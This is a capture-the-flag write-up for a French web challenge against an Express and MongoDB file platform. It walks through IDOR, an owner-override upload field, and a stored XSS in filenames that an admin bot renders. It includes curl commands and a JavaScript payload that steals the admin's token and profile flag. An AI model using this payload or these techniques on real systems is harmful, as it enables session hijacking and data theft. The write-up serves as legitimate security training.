Hodor

Writeup

Writeup for a french challenge focusing on IDOR, stored XSS, and broken access control in an Express file platform.

webmongoDBIDORXSS

Overview

Target: http://worker01.ctfd.live:13804

The application is an Express-based platform with authentication (JWT), a file upload feature, user profiles, and an admin “headless bot” that visits reported content.

Findings

  1. IDOR / Broken Access Control

    • GET /api/files/:id and the global listing GET /api/files allow any authenticated user to access arbitrary files, including flag.txt.
  2. Insecure Direct Object Ownership (owner override)

    • POST /api/files/upload trusts a client-controlled userId field. This allows creating files owned by another user (including admin).
  3. Stored XSS (admin-bot trigger)

    • File names are injected into the UI via innerHTML without escaping (referenced as files.js). A crafted filename leads to stored XSS.
    • The payload can be executed in the admin context via the reporting endpoint/bot (/api/report).
  4. Predictable ObjectId proximity (weak brute-force space)

    • The admin _id appears close to the file id near the flag (e.g., 6951c954…6889). This reduces the search space for a targeted guess.

Step-by-step Exploitation

1 Register an account and obtain a JWT

curl -s -X POST "$URL/api/auth/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Password123!"}'

This returns a token (and, in my run, an id similar to 6951cf7b8df71f4e604f68fa).

2 FLAG_1 — Direct file exposure

The first flag was accessible directly from the uploads path:

curl -s http://worker01.ctfd.live:13804/uploads/flag.txt

Result:

FLAG{*************}

3 FLAG_2 - Prepare stored XSS + owner impersonation

The goal is to get code execution in the admin session (via the headless bot) and exfiltrate the profile data/flag.

High-level idea:

  • Guess the admin user id around 6951c9548df71f4e604f68XX (close to the flag file id).
  • Upload a file owned by the guessed admin by setting userId in /api/files/upload.
  • Use a malicious filename that triggers XSS in the admin UI.
  • When the bot visits, the payload reads /api/profile using the admin token and re-uploads the stolen content into our account as loot_<tag>.txt.

Example payload:

(async()=>{
  const t=localStorage.getItem('token');
  if(!t) return;
  const r=await fetch('/api/profile',{headers:{'X-Access-Token':t}});
  const j=await r.json();
  await fetch('/api/files/upload',{
    method:'POST',
    headers:{'X-Access-Token':t,'Content-Type':'application/json'},
    body:JSON.stringify({
      filename:'loot_<tag>.txt',
      content:btoa(j.flag||''),
      userId:'6951cf7b8df71f4e604f68fa'
    })
  });
})()

Injected via a filename such as:

pwn_<tag>");</button><img src=x onerror="<payload>">

4 Upload the XSS file (as admin) using your token

curl -s -X POST "$URL/api/files/upload" \
  -H "X-Access-Token: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"filename":"pwn_<tag>\");</button><img src=x onerror=\"<payload>\">","content":"dGVzdA==","userId":"<adminIdGuess>"}'

5 Trigger the admin bot

curl -s "$URL/api/report" -H "X-Access-Token: $TOKEN"

6 Retrieve the loot file from your own account

List your files:

curl -s "$URL/api/files/me" -H "X-Access-Token: $TOKEN"

Download the loot file by id (example id: 6951d2b38df71f4e604f694f):

curl -s "$URL/api/files/6951d2b38df71f4e604f694f" \
  -H "X-Access-Token: $TOKEN"

Result:

FLAG{**************}

Admin impact was achieved by chaining IDOR + owner override + stored XSS to execute JavaScript in the admin session and re-upload the extracted data.